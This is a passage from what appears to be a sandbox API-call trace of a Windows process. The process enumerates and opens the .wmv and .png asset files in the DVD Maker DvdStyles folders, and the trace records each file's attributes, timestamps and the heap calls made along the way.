ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d7c890, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71d7c890, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x504c3b43, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x184166, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71deeca7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71deeca7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50add351, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x189f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713aae96, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x713aae96, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x514fb049, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6680f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground.wmv", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71501adb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71501adb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5206f98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x673c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716a49da, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x716a49da, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x522f70cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca474, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground.wmv", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71789208, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71789208, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x524e6293, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e59f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 1 [0067.430] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 0 [0067.430] GetLastError () returned 0x12 [0067.430] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8b70) returned 1 [0067.430] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0067.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbaf30) returned 1 [0067.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.431] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0067.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.431] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.480] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0067.480] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0067.480] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfcf510 [0067.480] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfcf510, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfcf510, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0067.480] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfcf510) returned 1 [0067.480] NtClose (Handle=0x198) returned 0x0 [0067.480] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.480] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.480] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.481] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.481] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0067.514] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.515] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0067.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0067.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8b70) returned 1 [0067.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcee08 [0067.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfccc18 [0067.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.515] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0067.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcee28 [0067.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfccd20 [0067.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.515] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0067.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcee48 [0067.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcce28 [0067.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.516] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0067.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcee68 [0067.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfccf30 [0067.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.516] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="720_480shadow.png", cAlternateFileName="")) returned 1 [0067.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcee88 [0067.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcd038 [0067.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.517] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfceea8 [0067.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcd140 [0067.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.517] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfceec8 [0067.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcd248 [0067.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.517] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfceee8 [0067.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcd350 [0067.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xf80) returned 0xfcf510 [0067.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaa438) returned 1 [0067.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.518] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcef08 [0067.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcd458 [0067.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.518] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcef28 [0067.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcd560 [0067.519] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.519] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.519] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcef48 [0067.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcd668 [0067.519] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 1 [0067.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.519] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.519] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcef68 [0067.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfcd770 [0067.519] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 0 [0067.519] GetLastError () returned 0x12 [0067.520] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, 